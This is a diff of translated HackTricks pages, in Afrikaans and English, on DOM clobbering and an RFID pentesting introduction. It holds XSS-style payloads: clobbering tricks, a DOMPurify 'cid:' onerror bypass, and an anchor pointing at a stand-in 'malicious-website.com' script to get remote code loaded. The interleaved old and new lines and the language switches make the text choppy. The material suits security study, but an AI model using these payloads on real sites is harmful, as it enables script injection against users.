* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,36 +1,39 @@
# Dom Clobbering
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**hacktricks-repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-repo**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **Basics**
## **Basiese beginsels**
Dit is moontlik om **globale veranderlikes binne die JS-konteks** te genereer met die eienskappe **`id`** en **`name`** in HTML-etikette.
Dit is moontlik om **globale veranderlikes binne die JS-konteks** te genereer met die attribuut **`id`** en **`name`** in HTML-tags.
```html
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
```
**Slegs** sekere elemente kan die **name attribuut** gebruik om globale waardes te **oorskryf**, dit is: `embed`, `form`, `iframe`, `image`, `img` en `object`.
**Slegs** sekere elemente kan die **naam attribuut** gebruik om globals te clobber, hulle is: `embed`, `form`, `iframe`, `image`, `img` en `object`.
Interessant genoeg, wanneer jy 'n **form element** gebruik om 'n veranderlike te **oorskryf**, sal jy die **`toString`** waarde van die element self kry: `[object HTMLFormElement]` maar met 'n **anchor** sal die **`toString`** die anchor se **`href`** wees. Daarom, as jy oorskryf met die **`a`** tag, kan jy die **waarde** **beheer** wanneer dit as 'n string **behandel** word:
Interessant genoeg, wanneer jy 'n **form element** gebruik om 'n veranderlike te **clobber**, sal jy die **`toString`** waarde van die element self kry: `[object HTMLFormElement]` maar met **anker** sal die **`toString`** die anker **`href`** wees. Daarom, as jy clobber met die **`a`** tag, kan jy die **waarde** **beheer** wanneer dit **as 'n string** behandel word:
```html
<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>
```
### Rye & Eienskappe
### Arrays & Attributes
Dit is ook moontlik om 'n rye en eienskappe van 'n voorwerp te **oorheers**:
Dit is ook moontlik om **'n array** en **objek eienskappe** te **klobber**:
```html
<a id=x>
<a id=x name=y href=controlled>
@ -39,7 +42,7 @@ console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
```
Om **'n derde eienskap** (bv. x.y.z) te oorskryf, moet jy 'n **`form`** gebruik:
Om **'n 3de attribuut** (bv. x.y.z) te oorskry, moet jy **'n `form`** gebruik:
```html
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
@ -47,17 +50,17 @@ Om **'n derde eienskap** (bv. x.y.z) te oorskryf, moet jy 'n **`form`** gebruik:
alert(x.y.z.value)//controlled
</script>
```
Die oorskryf van meer eienskappe is **meer ingewikkeld maar steeds moontlik**, deur iframes te gebruik:
Clobbering meer eienskappe is **meer ingewikkeld maar steeds moontlik**, met behulp van iframes:
```html
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>
```
{% hint style="warning" %}
Die style-etiket word gebruik om genoeg tyd te gee vir die iframe om te render. Sonder dit sal jy 'n waarskuwing van 'undefined' kry.
Die style-tag word gebruik om **genoeg tyd te gee vir die iframe om te render**. Sonder dit sal jy 'n waarskuwing van **undefined** vind.
{% endhint %}
Om dieper eienskappe te oorskryf, kan jy iframes met HTML-kodering gebruik op die volgende manier:
Om dieper eienskappe te klobber, kan jy **iframes met html-kodering** op hierdie manier gebruik:
```html
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
@ -65,9 +68,9 @@ Om dieper eienskappe te oorskryf, kan jy iframes met HTML-kodering gebruik op di
alert(a.b.c.d.e)//controlled
</script>
```
### **Filter Bypassing**
### **Filter Omseiling**
As 'n filter deur die **eienskappe** van 'n nodus **loop** deur iets soos `document.getElementByID('x').attributes`, kan jy die eienskap **`.attributes`** **oorheers** en die filter **breek**. Ander DOM-eienskappe soos **`tagName`**, **`nodeName`** of **`parentNode`** en meer is ook **oorheersbaar**.
As 'n filter **deurloop** deur die **eienskappe** van 'n node met iets soos `document.getElementByID('x').attributes`, kan jy die eienskap **`.attributes`** **oorstroom** en die filter **breek**. Ander DOM-eienskappe soos **`tagName`**, **`nodeName`** of **`parentNode`** en meer is ook **oorstroombaar**.
```html
<form id=x></form>
<form id=y>
@ -84,7 +87,7 @@ In JavaScript is dit algemeen om te vind:
```javascript
var someObject = window.someObject || {};
```
Die manipulasie van HTML op die bladsy maak dit moontlik om `someObject` te oorskryf met 'n DOM-node, wat potensiële sekuriteitskwessies kan veroorsaak. Byvoorbeeld, jy kan `someObject` vervang met 'n anker-element wat na 'n skadelike skrips verwys:
Manipulasie van HTML op die bladsy laat toe om `someObject` met 'n DOM-knoop te oorskry, wat moontlik sekuriteitskwesies kan inbring. Byvoorbeeld, jy kan `someObject` vervang met 'n anker-element wat na 'n kwaadwillige skrip wys:
```html
<a id=someObject href=//malicious-website.com/malicious.js></a>
```
@ -99,27 +102,27 @@ document.body.appendChild(script);
};
</script>
```
Hierdie metode maak gebruik van die skripsbron om ongewenste kode uit te voer.
This method exploits the script source to execute unwanted code.
**Truuk**: **`DOMPurify`** stel jou in staat om die **`cid:`** protokol te gebruik, wat **dubbele aanhalingstekens nie URL-kodeer nie**. Dit beteken dat jy 'n gekodeerde dubbele aanhalingsteken kan inspuit wat tydens uitvoering gedekodeer sal word. Daarom sal die inspuiting van iets soos **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** die HTML-gekodeerde `&quot;` **tydens uitvoering gedekodeer** en **ontsnap** uit die attribuutwaarde om die **`onerror`** gebeurtenis te **skep**.
**Trick**: **`DOMPurify`** laat jou toe om die **`cid:`** protokol te gebruik, wat **nie dubbele aanhalings URL-kodeer nie**. Dit beteken jy kan **'n gekodeerde dubbele aanhaling insit wat tydens uitvoering gedecodeer sal word**. Daarom sal die insluiting van iets soos **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** die HTML-gecodeerde `&quot;` **tydens uitvoering gedecodeer** en **ontsnap** uit die attribuutwaarde om die **`onerror`** gebeurtenis te **skep**.
'n Ander tegniek maak gebruik van 'n **`form`** element. Sekere kliëntkant-biblioteke ondersoek die eienskappe van 'n nuut geskepte vormelement om dit skoon te maak. Deur egter 'n `input` met `id=attributes` binne die vorm by te voeg, oorskryf jy effektief die eienskappe-eienskap en voorkom dat die sanitiseerder toegang tot die werklike eienskappe verkry.
Another technique uses a **`form`** element. Sekere kliënt-kant biblioteke ondersoek die attribuut van 'n nuut geskepte vormelement om dit skoon te maak. egter, deur 'n `input` met `id=attributes` binne die vorm by te voeg, oorskry jy effektief die attribuut eienskap, wat die sanitizer verhinder om toegang te verkry tot die werklike attribuut.
Jy kan 'n voorbeeld van hierdie tipe oorskrywing in hierdie CTF-verslag [**vind**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
You can [**find an example of this type of clobbering in this CTF writeup**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
## Oorskryf van die dokumentobjek
## Clobbering document object
Volgens die dokumentasie is dit moontlik om eienskappe van die dokumentobjek te oorskryf deur gebruik te maak van DOM-oorskrywing:
According to the documentation it's possible to overwrite attributes of the document object using DOM Clobbering:
> Die [Document](https://html.spec.whatwg.org/multipage/dom.html#document) koppelvlak [ondersteun genoemde eienskappe](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Die [ondersteunde eienskapsname](https://webidl.spec.whatwg.org/#dfn-supported-property-names) van 'n [Document](https://html.spec.whatwg.org/multipage/dom.html#document)-objektdokument op enige oomblik bestaan uit die volgende, in [boomvolgorde](https://dom.spec.whatwg.org/#concept-tree-order) volgens die element wat dit bydra, waarby latere duplikate geïgnoreer word, en met waardes van [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)-eienskappe wat voor waardes van naam-eienskappe kom wanneer dieselfde element beide bydra:
> The [Document](https://html.spec.whatwg.org/multipage/dom.html#document) interface [supports named properties](https://webidl.spec.whatwg.org/#dfn-support-named-properties). The [supported property names](https://webidl.spec.whatwg.org/#dfn-supported-property-names) of a [Document](https://html.spec.whatwg.org/multipage/dom.html#document) object document at any moment consist of the following, in [tree order](https://dom.spec.whatwg.org/#concept-tree-order) according to the element that contributed them, ignoring later duplicates, and with values from [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) attributes coming before values from name attributes when the same element contributes both:
>
> \- Die waarde van die naam-inhoudseienskap vir alle [blootgestelde](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), en [blootgestelde](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element)-elemente wat 'n nie-leë naam-inhoudseienskap het en [in 'n dokumentboom](https://dom.spec.whatwg.org/#in-a-document-tree) met die dokument as hul [wortel](https://dom.spec.whatwg.org/#concept-tree-root) is;\
> \- The value of the name content attribute for all [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), and [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elements that have a non-empty name content attribute and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- Die waarde van die [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)-inhoudseienskap vir alle [blootgestelde](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element)-elemente wat 'n nie-leë [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)-inhoudseienskap het en [in 'n dokumentboom](https://dom.spec.whatwg.org/#in-a-document-tree) met die dokument as hul [wortel](https://dom.spec.whatwg.org/#concept-tree-root) is;\
> \- The value of the [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute for all [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elements that have a non-empty [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- Die waarde van die [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)-inhoudseienskap vir alle [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element)-elemente wat beide 'n nie-leë [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)-inhoudseienskap en 'n nie-leë naam-inhoudseienskap het, en [in 'n dokumentboom](https://dom.spec.whatwg.org/#in-a-document-tree) met die dokument as hul [wortel](https://dom.spec.whatwg.org/#concept-tree-root) is.
> \- The value of the [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute for all [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) elements that have both a non-empty [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute and a non-empty name content attribute, and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root).
Met behulp van hierdie tegniek kan jy algemeen gebruikte **waardes soos `document.cookie`, `document.body`, `document.children`** en selfs metodes in die Document-koppelvlak soos `document.querySelector` oorskryf.
Using this technique you can overwrite commonly used **values such as `document.cookie`, `document.body`, `document.children`**, and even methods in the Document interface like `document.querySelector`.
```javascript
document.write("<img name=cookie />")
@ -138,9 +141,9 @@ HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
```
## Skryf nadat die element oorskryf is
## Skryf na die element wat geklobber is
Die resultate van oproepe na **`document.getElementById()`** en **`document.querySelector()`** kan verander word deur 'n `<html>` of `<body>` tag in te spuit met 'n identiese id-eienskap. Hier is hoe dit gedoen kan word:
Die resultate van oproepe na **`document.getElementById()`** en **`document.querySelector()`** kan verander word deur 'n `<html>` of `<body>` etiket met 'n identiese id-attribuut in te spuit. Hier is hoe dit gedoen kan word:
```html
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
@ -150,7 +153,7 @@ alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>
```
Verder kan de doeltreffendheid van de aanval worden verbeterd door stijlen te gebruiken om deze ingevoegde HTML/body-tags te verbergen en interferentie van andere tekst in de `innerText` te voorkomen:
Verder, deur style te gebruik om hierdie ingeslote HTML/body-tags te verberg, kan inmenging van ander teks in die `innerText` voorkom word, wat die doeltreffendheid van die aanval verbeter:
```html
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
@ -162,7 +165,7 @@ p{display:none;}
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
Ondersoeke na SVG het aan die lig gebring dat 'n `<body>`-etiket ook doeltreffend gebruik kan word:
Ondersoeke na SVG het onthul dat 'n `<body>` etiket ook effektief gebruik kan word:
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
@ -170,7 +173,7 @@ Ondersoeke na SVG het aan die lig gebring dat 'n `<body>`-etiket ook doeltreffen
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
Vir die HTML-etiket om binne SVG te funksioneer in webblaaier soos Chrome en Firefox, is 'n `<foreignobject>`-etiket nodig:
Om die HTML-tag binne SVG in blaaiers soos Chrome en Firefox te laat werk, is 'n `<foreignobject>`-tag nodig:
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
@ -182,9 +185,9 @@ Vir die HTML-etiket om binne SVG te funksioneer in webblaaier soos Chrome en Fir
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
## Oorweldiging van Vorms
## Clobbering Forms
Dit is moontlik om **nuwe inskrywings binne 'n vorm** by te voeg deur eenvoudig die `form` attribuut te spesifiseer binne sekere etikette. Jy kan dit gebruik om **nuwe waardes binne 'n vorm** by te voeg en selfs 'n nuwe **knoppie** om dit te **stuur** (clickjacking of misbruik van sommige `.click()` JS-kode):
Dit is moontlik om **nuwe inskrywings binne 'n vorm** by te voeg net deur die **`form` attribuut** binne sommige etikette te spesifiseer. Jy kan dit gebruik om **nuwe waardes binne 'n vorm** by te voeg en selfs 'n nuwe **knoppie** by te voeg om dit **te stuur** (clickjacking of om sommige `.click()` JS kode te misbruik):
{% code overflow="wrap" %}
```html
@ -198,7 +201,7 @@ Click to send!
```
{% endcode %}
* Vir meer vormatribute in [**knoppie kyk hierdie**](https://www.w3schools.com/tags/tag\_button.asp)**.**
* Vir meer vormattribuut in [**knoppie kyk hierna**](https://www.w3schools.com/tags/tag\_button.asp)**.**
## Verwysings
@ -206,14 +209,17 @@ Click to send!
* [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
* Heyes, Gareth. JavaScript vir hackers: Leer om soos 'n hacker te dink.
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,60 +1,105 @@
# Pentesting RFID
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Inleiding
**Radio Frequency Identification (RFID)** is die mees gewilde kortafstand-radio-oplossing. Dit word gewoonlik gebruik om inligting wat 'n entiteit identifiseer, te stoor en oor te dra.
**Radiofrekwensie-identifikasie (RFID)** is die mees gewilde kortafstand radio-oplossing. Dit word gewoonlik gebruik om inligting te stoor en oor te dra wat 'n entiteit identifiseer.
'n RFID-etiket kan staatmaak op **sy eie kragbron (aktief)**, soos 'n ingebedde battery, of sy krag ontvang van die leesantenne deur die huidige **wat geïnduseer word deur die ontvangde radiogolwe** (**passief**).
'n RFID-tag kan staatmaak op **sy eie kragbron (aktief)**, soos 'n ingebedde battery, of sy krag ontvang van die leesantenna deur die huidige **geïnduseer deur die ontvangde radiogolwe** (**passief**).
### Kategorieë
### Klas
EPCglobal verdeel RFID-etikette in ses kategorieë. 'n Etiket in elke kategorie het al die vermoëns wat in die vorige kategorie gelys is, wat dit agterwaarts versoenbaar maak.
EPCglobal verdeel RFID-tags in ses kategorieë. 'n Tag in elke kategorie het al die vermoëns wat in die vorige kategorie gelys is, wat dit agteruitkompatibel maak.
* **Klas 0** etikette is **passiewe** etikette wat in **UHF**-bande werk. Die verskaffer programmeer hulle vooraf by die produksiefabriek. As gevolg hiervan kan jy die inligting wat in hul geheue gestoor is, **nie verander nie**.
* **Klas 1** etikette kan ook in **HF**-bande werk. Daarbenewens kan hulle **slegs een keer na produksie geskryf** word. Baie Klas 1 etikette kan ook **sikliese redundansiekontroles** (CRC's) van die opdragte wat hulle ontvang, verwerk. CRC's is 'n paar ekstra byte aan die einde van die opdragte vir foutopsporing.
* **Klas 2** etikette kan **veral keer geskryf** word.
* **Klas 3** etikette kan **ingebedde sensors** bevat wat omgewingsparameters kan registreer, soos die huidige temperatuur of die etiket se beweging. Hierdie etikette is **semi-passief**, want alhoewel hulle 'n ingebedde kragbron, soos 'n geïntegreerde **batter
## Hoë-Frekwensie RFID-etikette (13.56 MHz)
* **Klas 0** tags is **passiewe** tags wat in **UHF** bande werk. Die verskaffer **voorprogrammeer** hulle by die produksiefabriek. As gevolg hiervan, kan jy **nie verander** die inligting wat in hul geheue gestoor is nie.
* **Klas 1** tags kan ook in **HF** bande werk. Daarbenewens kan hulle **slegs een keer geskryf** word na produksie. Baie Klas 1 tags kan ook **sikliese redundanskontroles** (CRC's) van die opdragte wat hulle ontvang, verwerk. CRC's is 'n paar ekstra bytes aan die einde van die opdragte vir foutopsporing.
* **Klas 2** tags kan **meermale geskryf** word.
* **Klas 3** tags kan **ingebedde sensors** bevat wat omgewingsparameters kan opneem, soos die huidige temperatuur of die beweging van die tag. Hierdie tags is **semi-passief**, omdat hulle **'n** ingebedde kragbron het, soos 'n geïntegreerde **batterij**, maar hulle **kan nie inisieer** draadlose **kommunikasie** met ander tags of lesers nie.
* **Klas 4** tags kan kommunikasie inisieer met ander tags van dieselfde klas, wat hulle **aktiewe tags** maak.
* **Klas 5** tags kan **krag aan ander tags verskaf en kommunikeer met al die vorige tag** klasse. Klas 5 tags kan as **RFID-lesers** optree.
**Hoë-frekwensie-etikette** word gebruik vir 'n meer komplekse leser-etiket-interaksie wanneer jy kriptografie, 'n groot tweerigting data-oordrag, outentisering, ens. benodig. Dit word gewoonlik gevind in bankkaarte, openbare vervoer en ander veilige toegangspunte.
### Inligting Gestoor in RFID Tags
**Hoë-frekwensie 13.56 MHz-etikette is 'n stel standaarde en protokolle**. Dit word gewoonlik verwys as [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), maar dit is nie altyd korrek nie. Die basiese protokolstel wat op fisiese en logiese vlakke gebruik word, is ISO 14443. Hoëvlak-protokolle, sowel as alternatiewe standaarde (soos ISO 19092), is daarop gebaseer. Baie mense verwys na hierdie tegnologie as **Near Field Communication (NFC)**, 'n term vir toestelle wat op die 13.56 MHz-frekwensie werk.
'n RFID-tag se geheue stoor gewoonlik vier soorte data: die **identifikasiedata**, wat die **entiteit** identifiseer waaraan die tag geheg is (hierdie data sluit gebruiker-gedefinieerde velde in, soos bankrekeninge); die **aanvullende data**, wat **verdere** **besonderhede** oor die entiteit verskaf; die **kontroldata**, wat gebruik word vir die tag se interne **konfigurasie**; en die tag se **fabrikantdata**, wat 'n tag se Unieke Identifiseerder (**UID**) en besonderhede oor die tag se **produksie**, **tipe**, en **verskaffer** bevat. Jy sal die eerste twee soorte data in al die kommersiële tags vind; die laaste twee kan verskil op grond van die tag se verskaffer.
<figure><img src="../.gitbook/assets/image (22).png" alt=""><figcaption></figcaption></figure>
Die ISO-standaard spesifiseer die Toepassing Familie Identifiseerder (**AFI**) waarde, 'n kode wat die **soort objek** wat die tag behoort, aandui. 'n Ander belangrike register, wat ook deur ISO gespesifiseer word, is die Data Stoorformaat Identifiseerder (**DSFID**), wat die **logiese organisasie van die gebruikersdata** definieer.
Om dit eenvoudig te stel, werk NFC se argitektuur so: die oordragprotokol word deur die maatskappy wat die kaarte maak, gekies en geïmplementeer op grond van die laevlak ISO 14443. Byvoorbeeld, NXP het sy eie hoëvlak-oordragprotokol genaamd Mifare uitgevind. Maar op die laer vlak is Mifare-kaarte gebaseer op die ISO 14443-A-standaard.
Meeste RFID **veiligheidsbeheer** het meganismes wat die **lees** of **skryf** operasies op elke gebruikers geheueblok en op die spesiale registers wat die AFI en DSFID waardes bevat, **beperk**. Hierdie **sluit** **meganismes** gebruik data wat in die kontrole geheue gestoor is en het **standaard wagwoorde** wat deur die verskaffer vooraf geconfigureer is, maar laat die tag-eienaars toe om **aangepaste wagwoorde te konfigureer**.
Flipper kan met beide die laevlak ISO 14443-protokol, asook die Mifare Ultralight data-oordragprotokol en EMV wat in bankkaarte gebruik word, interaksie hê. Ons werk daaraan om ondersteuning vir Mifare Classic en NFC NDEF by te voeg. 'n Deeglike kyk na die protokolle en standaarde wat NFC uitmaak, is 'n aparte artikel werd wat ons later beplan om te hê.
### Lae & Hoë frekwensie tags vergelyking
Alle hoë-frekwensie-kaarte wat op die ISO 14443-A-standaard gebaseer is, het 'n unieke chip-ID. Dit tree op as die kaart se serienommer, soos 'n netwerkkaart se MAC-adres. **Gewoonlik is die UID 4 of 7 byte lank**, maar dit kan selde **tot 10** gaan. UID's is nie 'n geheim nie en hulle is maklik leesbaar, **soms selfs op die kaart self gedruk**.
<figure><img src="../.gitbook/assets/image (27).png" alt=""><figcaption></figcaption></figure>
